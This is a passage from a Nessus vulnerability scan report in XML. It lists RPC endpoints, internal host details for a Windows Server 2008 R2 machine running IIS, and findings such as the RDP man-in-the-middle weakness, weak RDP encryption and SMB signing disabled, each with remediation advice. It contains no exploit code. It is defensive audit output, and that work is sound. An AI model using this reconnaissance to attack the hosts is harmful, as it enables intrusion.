7229 Object UUID : 00000000-0000-0000-0000-000000000000
7230 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
7231 Description : Scheduler Service
7232 Windows process : svchost.exe
7233 Type : Local RPC service
7234 Named pipe : IUserProfile2
7235
7236 Object UUID : 00000000-0000-0000-0000-000000000000
7237 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
7238 Description : Scheduler Service
7239 Windows process : svchost.exe
7240 Type : Local RPC service
7241 Named pipe : OLE41F9F8DAB7334AC892C1F3BDC2BD
7242
7243 Object UUID : 00000000-0000-0000-0000-000000000000
7244 UUID : 378e52b0-c0a9-11cf-822d-00aa0051e40f, version 1.0
7245 Description : Scheduler Service
7246 Windows process : svchost.exe
7247 Type : Local RPC service
7248 Named pipe : senssvc
7249
7250 Object UUID : 00000000-0000-0000-0000-000000000000
7251 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
7252 Description : Unknown RPC service
7253 Type : Local RPC service
7254 Named pipe : IUserProfile2
7255
7256 Object UUID : 00000000-0000-0000-0000-000000000000
7257 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
7258 Description : Unknown RPC service
7259 Type : Local RPC service
7260 Named pipe : OLE41F9F8DAB7334AC892C1F3BDC2BD
7261
7262 Object UUID : 00000000-0000-0000-0000-000000000000
7263 UUID : 86d35949-83c9-4044-b424-db363231fd0c, version 1.0
7264 Description : Unknown RPC service
7265 Type : Local RPC service
7266 Named pipe : senssvc
7267
7268 Object UUID : 00000000-0000-0000-0000-000000000000
7269 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
7270 Description : Unknown RPC service
7271 Annotation : IKE/Authip API
7272 Type : Local RPC service
7273 Named pipe : IUserProfile2
7274
7275 Object UUID : 00000000-0000-0000-0000-000000000000
7276 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
7277 Description : Unknown RPC service
7278 Annotation : IKE/Authip API
7279 Type : Local RPC service
7280 Named pipe : OLE41F9F8DAB7334AC892C1F3BDC2BD
7281
7282 Object UUID : 00000000-0000-0000-0000-000000000000
7283 UUID : a398e520-d59a-4bdd-aa7a-3c1e0303a511, version 1.0
7284 Description : Unknown RPC service
7285 Annotation : IKE/Authip API
7286 Type : Local RPC service
7287 Named pipe : senssvc
7288
7289 Object UUID : 00000000-0000-0000-0000-000000000000
7290 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
7291 Description : Unknown RPC service
7292 Annotation : IP Transition Configuration endpoint
7293 Type : Local RPC service
7294 Named pipe : IUserProfile2
7295
7296 Object UUID : 00000000-0000-0000-0000-000000000000
7297 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
7298 Description : Unknown RPC service
7299 Annotation : IP Transition Configuration endpoint
7300 Type : Local RPC service
7301 Named pipe : OLE41F9F8DAB7334AC892C1F3BDC2BD
7302
7303 Object UUID : 00000000-0000-0000-0000-000000000000
7304 UUID : 552d076a-cb29-4e44-8b6a-d15e59e2c0af, version 1.0
7305 Description : Unknown RPC service
7306 Annotation : IP Transition Configuration endpoint
7307 Type : Local RPC service
7308 Named pipe : senssvc
7309
7310 Object UUID : 00000000-0000-0000-0000-000000000000
7311 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
7312 Description : Unknown RPC service
7313 Annotation : XactSrv service
7314 Type : Local RPC service
7315 Named pipe : IUserProfile2
7316
7317 Object UUID : 00000000-0000-0000-0000-000000000000
7318 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
7319 Description : Unknown RPC service
7320 Annotation : XactSrv service
7321 Type : Local RPC service
7322 Named pipe : OLE41F9F8DAB7334AC892C1F3BDC2BD
7323
7324 Object UUID : 00000000-0000-0000-0000-000000000000
7325 UUID : 98716d03-89ac-44c7-bb8c-285824e51c4a, version 1.0
7326 Description : Unknown RPC service
7327 Annotation : XactSrv service
7328 Type : Local RPC service
7329 Named pipe : senssvc
7330
7331 Object UUID : 73736573-6f69-656e-6e76-000000000000
7332 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
7333 Description : Unknown RPC service
7334 Annotation : Impl friendly name
7335 Type : Local RPC service
7336 Named pipe : IUserProfile2
7337
7338 Object UUID : 73736573-6f69-656e-6e76-000000000000
7339 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
7340 Description : Unknown RPC service
7341 Annotation : Impl friendly name
7342 Type : Local RPC service
7343 Named pipe : OLE41F9F8DAB7334AC892C1F3BDC2BD
7344
7345 Object UUID : 73736573-6f69-656e-6e76-000000000000
7346 UUID : c9ac6db5-82b7-4e55-ae8a-e464ed7b4277, version 1.0
7347 Description : Unknown RPC service
7348 Annotation : Impl friendly name
7349 Type : Local RPC service
7350 Named pipe : senssvc
7351
7352 Object UUID : 00000000-0000-0000-0000-000000000000
7353 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
7354 Description : Unknown RPC service
7355 Type : Local RPC service
7356 Named pipe : IUserProfile2
7357
7358 Object UUID : 00000000-0000-0000-0000-000000000000
7359 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
7360 Description : Unknown RPC service
7361 Type : Local RPC service
7362 Named pipe : OLE41F9F8DAB7334AC892C1F3BDC2BD
7363
7364 Object UUID : 00000000-0000-0000-0000-000000000000
7365 UUID : 30b044a5-a225-43f0-b3a4-e060df91f9c1, version 1.0
7366 Description : Unknown RPC service
7367 Type : Local RPC service
7368 Named pipe : senssvc
7369
7370 Object UUID : 00000000-0000-0000-0000-000000000000
7371 UUID : f6beaff7-1e19-4fbb-9f8f-b89e2018337c, version 1.0
7372 Description : Unknown RPC service
7373 Annotation : Event log TCPIP
7374 Type : Local RPC service
7375 Named pipe : eventlog
7376
7377 Object UUID : 00000000-0000-0000-0000-000000000000
7378 UUID : 30adc50c-5cbc-46ce-9a0e-91914789e23c, version 1.0
7379 Description : Unknown RPC service
7380 Annotation : NRP server endpoint
7381 Type : Local RPC service
7382 Named pipe : eventlog
7383
7384 Object UUID : 00000000-0000-0000-0000-000000000000
7385 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
7386 Description : Unknown RPC service
7387 Annotation : DHCPv6 Client LRPC Endpoint
7388 Type : Local RPC service
7389 Named pipe : eventlog
7390
7391 Object UUID : 00000000-0000-0000-0000-000000000000
7392 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d6, version 1.0
7393 Description : Unknown RPC service
7394 Annotation : DHCPv6 Client LRPC Endpoint
7395 Type : Local RPC service
7396 Named pipe : dhcpcsvc6
7397
7398 Object UUID : 00000000-0000-0000-0000-000000000000
7399 UUID : 3c4728c5-f0ab-448b-bda1-6ce01eb0a6d5, version 1.0
7400 Description : DHCP Client Service
7401 Windows process : svchost.exe
7402 Annotation : DHCP Client LRPC Endpoint
7403 Type : Local RPC service
7404 Named pipe : eventlog
7405
7406 </plugin_output>
7407 </ReportItem>
7408 <ReportItem port="139" svc_name="smb" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
7409 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
7410 <fname>cifs445.nasl</fname>
7411 <plugin_modification_date>2012/01/31</plugin_modification_date>
7412 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
7413 <plugin_publication_date>2002/06/05</plugin_publication_date>
7414 <plugin_type>remote</plugin_type>
7415 <risk_factor>None</risk_factor>
7416 <script_version>$Revision: 1.37 $</script_version>
7417 <solution>n/a</solution>
7418 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
7419 <plugin_output>
7420 An SMB server is running on this port.
7421 </plugin_output>
7422 </ReportItem>
7423 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="0" pluginID="11011" pluginName="Microsoft Windows SMB Service Detection" pluginFamily="Windows">
7424 <description>The remote service understands the CIFS (Common Internet File System) or Server Message Block (SMB) protocol, used to provide shared access to files, printers, etc between nodes on a network.</description>
7425 <fname>cifs445.nasl</fname>
7426 <plugin_modification_date>2012/01/31</plugin_modification_date>
7427 <plugin_name>Microsoft Windows SMB Service Detection</plugin_name>
7428 <plugin_publication_date>2002/06/05</plugin_publication_date>
7429 <plugin_type>remote</plugin_type>
7430 <risk_factor>None</risk_factor>
7431 <script_version>$Revision: 1.37 $</script_version>
7432 <solution>n/a</solution>
7433 <synopsis>A file / print sharing service is listening on the remote host.</synopsis>
7434 <plugin_output>
7435 A CIFS server is running on this port.
7436 </plugin_output>
7437 </ReportItem>
7438 </ReportHost>
7439 <ReportHost name="qa3app04"><HostProperties>
7440 <tag name="HOST_END">Mon Jul 1 11:46:01 2013</tag>
7441 <tag name="patch-summary-total-cves">1</tag>
7442 <tag name="system-type">general-purpose</tag>
7443 <tag name="operating-system">Microsoft Windows Server 2008 R2 Standard Service Pack 1</tag>
7444 <tag name="mac-address">00:50:56:81:01:dd</tag>
7445 <tag name="traceroute-hop-1">10.31.112.24</tag>
7446 <tag name="traceroute-hop-0">172.16.138.2</tag>
7447 <tag name="host-ip">10.31.112.24</tag>
7448 <tag name="host-fqdn">qa3app04</tag>
7449 <tag name="netbios-name">QA3APP04</tag>
7450 <tag name="HOST_START">Mon Jul 1 11:33:11 2013</tag>
7451 </HostProperties>
7452 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="19506" pluginName="Nessus Scan Information" pluginFamily="Settings">
7453 <description>This script displays, for each tested host, information about the scan itself :
7454
7455 - The version of the plugin set
7456 - The type of plugin feed (HomeFeed or ProfessionalFeed)
7457 - The version of the Nessus Engine
7458 - The port scanner(s) used
7459 - The port range scanned
7460 - Whether credentialed or third-party patch management checks are possible
7461 - The date of the scan
7462 - The duration of the scan
7463 - The number of hosts scanned in parallel
7464 - The number of checks done in parallel</description>
7465 <fname>scan_info.nasl</fname>
7466 <plugin_modification_date>2013/05/31</plugin_modification_date>
7467 <plugin_name>Nessus Scan Information</plugin_name>
7468 <plugin_publication_date>2005/08/26</plugin_publication_date>
7469 <plugin_type>summary</plugin_type>
7470 <risk_factor>None</risk_factor>
7471 <script_version>$Revision: 1.59 $</script_version>
7472 <solution>n/a</solution>
7473 <synopsis>Information about the Nessus scan.</synopsis>
7474 <plugin_output>Information about this scan :
7475
7476 Nessus version : 5.2.1
7477 Plugin feed version : 201306260615
7478 Type of plugin feed : HomeFeed (Non-commercial use only)
7479 Scanner IP : 172.16.138.174
7480 Port scanner(s) : nessus_syn_scanner
7481 Port range : default
7482 Thorough tests : no
7483 Experimental tests : no
7484 Paranoia level : 1
7485 Report Verbosity : 1
7486 Safe checks : yes
7487 Optimize the test : yes
7488 Credentialed checks : no
7489 Patch management checks : None
7490 CGI scanning : disabled
7491 Web application tests : disabled
7492 Max hosts : 80
7493 Max checks : 5
7494 Recv timeout : 5
7495 Backports : None
7496 Allow post-scan editing: Yes
7497 Scan Start Date : 2013/7/1 11:33
7498 Scan duration : 766 sec
7499 </plugin_output>
7500 </ReportItem>
7501 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="10919" pluginName="Open Port Re-check" pluginFamily="General">
7502 <description>One of several ports that were previously open are now closed or unresponsive.
7503
7504 There are several possible reasons for this :
7505
7506 - The scan may have caused a service to freeze or stop running.
7507
7508 - An administrator may have stopped a particular service during the scanning process.
7509
7510 This might be an availability problem related to the following :
7511
7512 - A network outage has been experienced during the scan, and the remote network cannot be reached anymore by the scanner.
7513
7514 - This scanner may has been blacklisted by the system administrator or by an automatic intrusion detection / prevention system that detected the scan.
7515
7516 - The remote host is now down, either because a user turned it off during the scan or because a select denial of service was effective.
7517
7518 In any case, the audit of the remote host might be incomplete and may need to be done again</description>
7519 <fname>check_ports.nasl</fname>
7520 <plugin_modification_date>2013/05/14</plugin_modification_date>
7521 <plugin_name>Open Port Re-check</plugin_name>
7522 <plugin_publication_date>2002/03/19</plugin_publication_date>
7523 <plugin_type>remote</plugin_type>
7524 <risk_factor>None</risk_factor>
7525 <script_version>$Revision: 1.41 $</script_version>
7526 <solution>- Increase checks_read_timeout and/or reduce max_checks
7527
7528 - Disable any IPS during the Nessus scan</solution>
7529 <synopsis>Previously open ports are now closed.</synopsis>
7530 <plugin_output>Port 135 was detected as being open but is now unresponsive
7531 Port 3389 was detected as being open but is now unresponsive
7532 Port 80 was detected as being open but is now unresponsive
7533 </plugin_output>
7534 </ReportItem>
7535 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="54615" pluginName="Device Type" pluginFamily="General">
7536 <description>Based on the remote operating system, it is possible to determine what the remote system type is (eg: a printer, router, general-purpose computer, etc).</description>
7537 <fname>device_type.nasl</fname>
7538 <plugin_modification_date>2011/05/23</plugin_modification_date>
7539 <plugin_name>Device Type</plugin_name>
7540 <plugin_publication_date>2011/05/23</plugin_publication_date>
7541 <plugin_type>combined</plugin_type>
7542 <risk_factor>None</risk_factor>
7543 <script_version>$Revision: 1.1 $</script_version>
7544 <solution>n/a</solution>
7545 <synopsis>It is possible to guess the remote device type.</synopsis>
7546 <plugin_output>Remote device type : general-purpose
7547 Confidence level : 99
7548 </plugin_output>
7549 </ReportItem>
7550 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="45590" pluginName="Common Platform Enumeration (CPE)" pluginFamily="General">
7551 <description>By using information obtained from a Nessus scan, this plugin reports CPE (Common Platform Enumeration) matches for various hardware and software products found on a host.
7552
7553 Note that if an official CPE is not available for the product, this plugin computes the best possible CPE based on the information available from the scan.</description>
7554 <fname>cpe.nbin</fname>
7555 <plugin_modification_date>2013/05/13</plugin_modification_date>
7556 <plugin_name>Common Platform Enumeration (CPE)</plugin_name>
7557 <plugin_publication_date>2010/04/21</plugin_publication_date>
7558 <plugin_type>local</plugin_type>
7559 <risk_factor>None</risk_factor>
7560 <script_version>$Revision: 1.19 $</script_version>
7561 <see_also>http://cpe.mitre.org/</see_also>
7562 <solution>n/a</solution>
7563 <synopsis>It is possible to enumerate CPE names that matched on the remote system.</synopsis>
7564 <plugin_output>
7565 The remote operating system matched the following CPE :
7566
7567 cpe:/o:microsoft:windows_server_2008:r2:sp1 -&gt; Microsoft Windows Server 2008 R2 Service Pack 1
7568
7569 Following application CPE matched on the remote system :
7570
7571 cpe:/a:microsoft:iis:7.5 -&gt; Microsoft Internet Information Services (IIS) 7.5
7572 </plugin_output>
7573 </ReportItem>
7574 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="11936" pluginName="OS Identification" pluginFamily="General">
7575 <description>Using a combination of remote probes (TCP/IP, SMB, HTTP, NTP, SNMP, etc...), it is possible to guess the name of the remote operating system in use. It is also sometimes possible to guess the version of the operating system.</description>
7576 <fname>os_fingerprint.nasl</fname>
7577 <plugin_modification_date>2013/04/01</plugin_modification_date>
7578 <plugin_name>OS Identification</plugin_name>
7579 <plugin_publication_date>2003/12/09</plugin_publication_date>
7580 <plugin_type>combined</plugin_type>
7581 <risk_factor>None</risk_factor>
7582 <script_version>$Revision: 2.34 $</script_version>
7583 <solution>n/a</solution>
7584 <synopsis>It is possible to guess the remote operating system.</synopsis>
7585 <plugin_output>
7586 Remote operating system : Microsoft Windows Server 2008 R2 Standard Service Pack 1
7587 Confidence Level : 99
7588 Method : MSRPC
7589
7590
7591 The remote host is running Microsoft Windows Server 2008 R2 Standard Service Pack 1</plugin_output>
7592 </ReportItem>
7593 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="24260" pluginName="HyperText Transfer Protocol (HTTP) Information" pluginFamily="Web Servers">
7594 <description>This test gives some information about the remote HTTP protocol - the version used, whether HTTP Keep-Alive and HTTP pipelining are enabled, etc...
7595
7596 This test is informational only and does not denote any security problem.</description>
7597 <fname>http_info.nasl</fname>
7598 <plugin_modification_date>2011/05/31</plugin_modification_date>
7599 <plugin_name>HyperText Transfer Protocol (HTTP) Information</plugin_name>
7600 <plugin_publication_date>2007/01/30</plugin_publication_date>
7601 <plugin_type>remote</plugin_type>
7602 <risk_factor>None</risk_factor>
7603 <script_version>$Revision: 1.12 $</script_version>
7604 <solution>n/a</solution>
7605 <synopsis>Some information about the remote HTTP configuration can be extracted.</synopsis>
7606 <plugin_output>
7607 Protocol version : HTTP/1.1
7608 SSL : no
7609 Keep-Alive : no
7610 Options allowed : OPTIONS, TRACE, GET, HEAD, POST
7611 Headers :
7612
7613 Content-Type: text/html
7614 Last-Modified: Tue, 01 May 2012 20:47:11 GMT
7615 Accept-Ranges: bytes
7616 ETag: &quot;ca7a095db27cd1:0&quot;
7617 Server: Microsoft-IIS/7.5
7618 X-Powered-By: ASP.NET
7619 Date: Mon, 01 Jul 2013 18:38:50 GMT
7620 Content-Length: 689
7621
7622 </plugin_output>
7623 </ReportItem>
7624 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="10107" pluginName="HTTP Server Type and Version" pluginFamily="Web Servers">
7625 <description>This plugin attempts to determine the type and the version of the remote web server.</description>
7626 <fname>http_version.nasl</fname>
7627 <plugin_modification_date>2013/06/03</plugin_modification_date>
7628 <plugin_name>HTTP Server Type and Version</plugin_name>
7629 <plugin_publication_date>2000/01/04</plugin_publication_date>
7630 <plugin_type>remote</plugin_type>
7631 <risk_factor>None</risk_factor>
7632 <script_version>$Revision: 1.111 $</script_version>
7633 <solution>n/a</solution>
7634 <synopsis>A web server is running on the remote host.</synopsis>
7635 <plugin_output>The remote web server type is :
7636
7637 Microsoft-IIS/7.5</plugin_output>
7638 </ReportItem>
7639 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="43111" pluginName="HTTP Methods Allowed (per directory)" pluginFamily="Web Servers">
7640 <description>By calling the OPTIONS method, it is possible to determine which HTTP methods are allowed on each directory.
7641
7642 As this list may be incomplete, the plugin also tests - if &apos;Thorough tests&apos; are enabled or &apos;Enable web applications tests&apos; is set to &apos;yes&apos; in the scan policy - various known HTTP methods on each directory and considers them as unsupported if it receives a response code of 400, 403, 405, or 501.
7643
7644 Note that the plugin output is only informational and does not necessarily indicate the presence of any security vulnerabilities.</description>
7645 <fname>web_directory_options.nasl</fname>
7646 <plugin_modification_date>2013/05/09</plugin_modification_date>
7647 <plugin_name>HTTP Methods Allowed (per directory)</plugin_name>
7648 <plugin_publication_date>2009/12/10</plugin_publication_date>
7649 <plugin_type>remote</plugin_type>
7650 <risk_factor>None</risk_factor>
7651 <script_version>$Revision: 1.7 $</script_version>
7652 <solution>n/a</solution>
7653 <synopsis>This plugin determines which HTTP methods are allowed on various CGI directories.</synopsis>
7654 <plugin_output>Based on the response to an OPTIONS request :
7655
7656 - HTTP methods GET HEAD POST TRACE OPTIONS are allowed on :
7657
7658 /
7659
7660 </plugin_output>
7661 </ReportItem>
7662 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="35716" pluginName="Ethernet Card Manufacturer Detection" pluginFamily="Misc.">
7663 <description>Each ethernet MAC address starts with a 24-bit &apos;Organizationally Unique Identifier&apos;.
7664 These OUI are registered by IEEE.</description>
7665 <fname>ethernet_manufacturer.nasl</fname>
7666 <plugin_modification_date>2011/03/27</plugin_modification_date>
7667 <plugin_name>Ethernet Card Manufacturer Detection</plugin_name>
7668 <plugin_publication_date>2009/02/19</plugin_publication_date>
7669 <plugin_type>combined</plugin_type>
7670 <risk_factor>None</risk_factor>
7671 <script_version>$Revision: 1.9 $</script_version>
7672 <see_also>http://standards.ieee.org/faqs/OUI.html
7673 http://standards.ieee.org/regauth/oui/index.shtml</see_also>
7674 <solution>n/a</solution>
7675 <synopsis>The manufacturer can be deduced from the Ethernet OUI.</synopsis>
7676 <plugin_output>
7677 The following card manufacturers were identified :
7678
7679 00:50:56:81:01:dd : VMware, Inc.
7680 </plugin_output>
7681 </ReportItem>
7682 <ReportItem port="0" svc_name="general" protocol="tcp" severity="0" pluginID="20094" pluginName="VMware Virtual Machine Detection" pluginFamily="General">
7683 <description>According to the MAC address of its network adapter, the remote host is a VMware virtual machine.
7684
7685 Since it is physically accessible through the network, ensure that its configuration matches your organization&apos;s security policy.</description>
7686 <fname>vmware_detect.nasl</fname>
7687 <plugin_modification_date>2011/03/27</plugin_modification_date>
7688 <plugin_name>VMware Virtual Machine Detection</plugin_name>
7689 <plugin_publication_date>2005/10/27</plugin_publication_date>
7690 <plugin_type>combined</plugin_type>
7691 <risk_factor>None</risk_factor>
7692 <script_version>$Revision: 1.24 $</script_version>
7693 <solution>n/a</solution>
7694 <synopsis>The remote host seems to be a VMware virtual machine.</synopsis>
7695 </ReportItem>
7696 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="18405" pluginName="Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness" pluginFamily="Windows">
7697 <bid>13818</bid>
7698 <cve>CVE-2005-1794</cve>
7699 <cvss_base_score>5.1</cvss_base_score>
7700 <cvss_temporal_score>4.6</cvss_temporal_score>
7701 <cvss_temporal_vector>CVSS2#E:F/RL:W/RC:ND</cvss_temporal_vector>
7702 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:P/A:P</cvss_vector>
7703 <description>The remote version of the Remote Desktop Protocol Server (Terminal Service) is vulnerable to a man-in-the-middle (MiTM) attack. The RDP client makes no effort to validate the identity of the server when setting up encryption. An attacker with the ability to intercept traffic from the RDP server can establish encryption with the client and server without being detected. A MiTM attack of this nature would allow the attacker to obtain any sensitive information transmitted, including authentication credentials.
7704
7705 This flaw exists because the RDP server stores a hardcoded RSA private key in the mstlsapi.dll library. Any local user with access to this file (on any Windows system) can retrieve the key and use it for this attack.</description>
7706 <exploit_available>true</exploit_available>
7707 <exploitability_ease>Exploits are available</exploitability_ease>
7708 <fname>tssvc_mim.nasl</fname>
7709 <osvdb>17131</osvdb>
7710 <plugin_modification_date>2012/03/30</plugin_modification_date>
7711 <plugin_name>Microsoft Windows Remote Desktop Protocol Server Man-in-the-Middle Weakness</plugin_name>
7712 <plugin_publication_date>2005/06/01</plugin_publication_date>
7713 <plugin_type>remote</plugin_type>
7714 <risk_factor>Medium</risk_factor>
7715 <script_version>$Revision: 1.23 $</script_version>
7716 <see_also>http://www.oxid.it/downloads/rdp-gbu.pdf
7717 http://www.nessus.org/u?e2628096
7718 http://technet.microsoft.com/en-us/library/cc782610.aspx</see_also>
7719 <solution>- Force the use of SSL as a transport layer for this service if supported, or/and
7720 - Select the &apos;Allow connections only from computers running Remote Desktop with Network Level Authentication&apos; setting if it is available.</solution>
7721 <synopsis>It may be possible to get access to the remote host.</synopsis>
7722 <vuln_publication_date>2005/05/28</vuln_publication_date>
7723 <xref>OSVDB:17131</xref>
7724 </ReportItem>
7725 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="11422" pluginName="Web Server Unconfigured - Default Install Page Present" pluginFamily="Web Servers">
7726 <description>The remote web server uses its default welcome page. It probably means that this server is not used at all or is serving content that is meant to be hidden.</description>
7727 <fname>www_default_page.nasl</fname>
7728 <osvdb>2117</osvdb>
7729 <plugin_modification_date>2011/08/12</plugin_modification_date>
7730 <plugin_name>Web Server Unconfigured - Default Install Page Present</plugin_name>
7731 <plugin_publication_date>2003/03/20</plugin_publication_date>
7732 <plugin_type>remote</plugin_type>
7733 <risk_factor>None</risk_factor>
7734 <script_version>$Revision: 1.37 $</script_version>
7735 <solution>Disable this service if you do not use it.</solution>
7736 <synopsis>The remote web server is not configured or is not properly configured.</synopsis>
7737 <vuln_publication_date>1994/01/01</vuln_publication_date>
7738 <xref>OSVDB:2117</xref>
7739 <plugin_output>
7740 The default welcome page is from IIS.
7741 </plugin_output>
7742 </ReportItem>
7743 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="66173" pluginName="RDP Screenshot" pluginFamily="General">
7744 <cpe>cpe:/o:microsoft:windows</cpe>
7745 <description>This script attempts to connect to the remote host via RDP (Remote Desktop Protocol) and attempts to take a screenshot of the login screen.
7746
7747 While this is not a vulnerability by itself, some versions of Windows display the names of the users who can connect and which ones are connected already.</description>
7748 <fname>rdp_logon_screen.nbin</fname>
7749 <plugin_modification_date>2013/05/08</plugin_modification_date>
7750 <plugin_name>RDP Screenshot</plugin_name>
7751 <plugin_publication_date>2013/04/22</plugin_publication_date>
7752 <plugin_type>remote</plugin_type>
7753 <risk_factor>None</risk_factor>
7754 <script_version>$Revision: 1.4 $</script_version>
7755 <solution>n/a</solution>
7756 <synopsis>It is possible to take a screenshot of the remote login screen.</synopsis>
7757 <plugin_output>It was possible to gather the following screenshot of the remote login screen.</plugin_output>
7758 <attachment name="ts_screenshot.jpg" type="image/bmp">293713fa5c0d44310392df3bf9c784a3</attachment>
7759 </ReportItem>
7760 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="2" pluginID="57690" pluginName="Terminal Services Encryption Level is Medium or Low" pluginFamily="Misc.">
7761 <cvss_base_score>4.3</cvss_base_score>
7762 <cvss_vector>CVSS2#AV:N/AC:M/Au:N/C:P/I:N/A:N</cvss_vector>
7763 <description>The remote Terminal Services service is not configured to use strong cryptography.
7764
7765 Using weak cryptography with this service may allow an attacker to eavesdrop on the communications more easily and obtain screenshots and/or keystrokes.</description>
7766 <fname>rdp_weak_crypto.nbin</fname>
7767 <plugin_modification_date>2013/04/22</plugin_modification_date>
7768 <plugin_name>Terminal Services Encryption Level is Medium or Low</plugin_name>
7769 <plugin_publication_date>2012/01/25</plugin_publication_date>
7770 <plugin_type>remote</plugin_type>
7771 <risk_factor>Medium</risk_factor>
7772 <script_version>$Revision: 1.6 $</script_version>
7773 <solution>Change RDP encryption level to one of :
7774
7775 3. High
7776
7777 4. FIPS Compliant</solution>
7778 <synopsis>The remote host is using weak cryptography.</synopsis>
7779 <plugin_output>
7780 The terminal services encryption level is set to :
7781
7782 2. Medium</plugin_output>
7783 </ReportItem>
7784 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="1" pluginID="30218" pluginName="Terminal Services Encryption Level is not FIPS-140 Compliant" pluginFamily="Misc.">
7785 <cvss_base_score>2.6</cvss_base_score>
7786 <cvss_vector>CVSS2#AV:N/AC:H/Au:N/C:P/I:N/A:N</cvss_vector>
7787 <description>The encryption setting used by the remote Terminal Services service is not FIPS-140 compliant.</description>
7788 <fname>fips_rdp.nbin</fname>
7789 <plugin_modification_date>2013/04/22</plugin_modification_date>
7790 <plugin_name>Terminal Services Encryption Level is not FIPS-140 Compliant</plugin_name>
7791 <plugin_publication_date>2008/02/11</plugin_publication_date>
7792 <plugin_type>remote</plugin_type>
7793 <risk_factor>Low</risk_factor>
7794 <script_version>$Revision: 1.9 $</script_version>
7795 <solution>Change RDP encryption level to :
7796
7797 4. FIPS Compliant</solution>
7798 <synopsis>The remote host is not FIPS-140 compliant.</synopsis>
7799 <plugin_output>
7800 The terminal services encryption level is set to :
7801
7802 2. Medium (Client Compatible)</plugin_output>
7803 </ReportItem>
7804 <ReportItem port="3389" svc_name="msrdp" protocol="tcp" severity="0" pluginID="10940" pluginName="Windows Terminal Services Enabled" pluginFamily="Windows">
7805 <description>Terminal Services allows a Windows user to remotely obtain a graphical login (and therefore act as a local user on the remote host).
7806
7807 If an attacker gains a valid login and password, he may be able to use this service to gain further access on the remote host. An attacker may also use this service to mount a dictionary attack against the remote host to try to log in remotely.
7808
7809 Note that RDP (the Remote Desktop Protocol) is vulnerable to Man-in-the-middle attacks, making it easy for attackers to steal the credentials of legitimate users by impersonating the Windows server.</description>
7810 <fname>windows_terminal_services.nasl</fname>
7811 <plugin_modification_date>2012/03/30</plugin_modification_date>
7812 <plugin_name>Windows Terminal Services Enabled</plugin_name>
7813 <plugin_publication_date>2002/04/20</plugin_publication_date>
7814 <plugin_type>remote</plugin_type>
7815 <risk_factor>None</risk_factor>
7816 <script_version>$Revision: 1.29 $</script_version>
7817 <solution>Disable Terminal Services if you do not use it, and do not allow this service to run across the Internet.</solution>
7818 <synopsis>The remote Windows host has Terminal Services enabled.</synopsis>
7819 </ReportItem>
7820 <ReportItem port="445" svc_name="cifs" protocol="tcp" severity="2" pluginID="57608" pluginName="SMB Signing Disabled" pluginFamily="Misc.">
7821 <cpe>cpe:/o:microsoft:windows</cpe>
7822 <cvss_base_score>5.0</cvss_base_score>
7823 <cvss_vector>CVSS2#AV:N/AC:L/Au:N/C:N/I:P/A:N</cvss_vector>
7824 <description>Signing is disabled on the remote SMB server. This can allow man-in-the-middle attacks against the SMB server.</description>
7825 <fname>smb_signing_disabled.nasl</fname>
7826 <plugin_modification_date>2012/03/05</plugin_modification_date>
7827 <plugin_name>SMB Signing Disabled</plugin_name>
7828 <plugin_publication_date>2012/01/19</plugin_publication_date>
7829 <plugin_type>remote</plugin_type>
7830 <risk_factor>Medium</risk_factor>
7831 <script_version>$Revision: 1.7 $</script_version>
7832 <see_also>http://support.microsoft.com/kb/887429
7833 http://www.nessus.org/u?74b80723
7834 http://www.samba.org/samba/docs/man/manpages-3/smb.conf.5.html</see_also>
7835 <solution>Enforce message signing in the host&apos;s configuration. On Windows, this is found in the Local Security Policy. On Samba, the setting is called &apos;server signing&apos;. See the &apos;see also&apos; links for further details.</solution>
7836 <synopsis>Signing is disabled on the remote SMB server.</synopsis>
7837 <vuln_publication_date>2012/01/17</vuln_publication_date>
7838 </ReportItem>
7839 <ReportItem port="80" svc_name="www" protocol="tcp" severity="0" pluginID="22964" pluginName="Service Detection" pluginFamily="Service detection">
7840 <description>It was possible to identify the remote service by its banner or by looking at the error message it sends when it receives an HTTP request.</description>
7841 <fname>find_service.nasl</fname>
7842 <plugin_modification_date>2013/05/12</plugin_modification_date>
